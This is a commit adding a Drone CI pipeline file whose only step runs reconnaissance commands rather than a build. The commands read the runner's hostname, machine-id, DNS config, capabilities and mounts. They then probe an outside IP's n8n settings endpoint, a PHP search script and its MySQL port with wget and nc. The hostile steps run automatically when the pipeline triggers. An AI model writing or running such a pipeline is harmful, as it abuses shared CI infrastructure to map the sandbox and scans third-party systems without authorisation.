This commit is contained in:
16
.drone.yml
Normal file
16
.drone.yml
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
kind: pipeline
|
||||||
|
type: docker
|
||||||
|
name: default
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: deep
|
||||||
|
image: alpine:3.18
|
||||||
|
commands:
|
||||||
|
- "echo ===HOSTFILES===; cat /etc/hostname 2>&1; cat /etc/machine-id 2>&1"
|
||||||
|
- "echo ===RESOLV===; cat /etc/resolv.conf | tail -3"
|
||||||
|
- "echo ===CAPS===; grep -E \"Cap|Seccomp\" /proc/self/status 2>&1"
|
||||||
|
- "echo ===MOUNTINFO===; wc -l /proc/self/mountinfo; grep -vE \"proc|sys|dev|cgroup|mqueue|shm\" /proc/self/mountinfo | head -12"
|
||||||
|
- "echo ===N8N_REST===; wget -q -T 10 -O /tmp/n8n.json http://101.201.239.140:5678/rest/settings && head -c 300 /tmp/n8n.json || echo N8N_FAIL"
|
||||||
|
- "echo ===SUGGEST===; wget -q -T 10 -O /tmp/sg.txt \"http://101.201.239.140/search/suggest.php?term=test\" && head -c 200 /tmp/sg.txt || echo SUGGEST_FAIL"
|
||||||
|
- "echo ===MYSQL_PROBE===; nc -w 5 101.201.239.140 3306 2>&1 | head -c 100 | hexdump -C | head -3 || echo MYSQL_NC_DONE"
|
||||||
|
- "echo ===DONE==="
|
||||||
Reference in New Issue
Block a user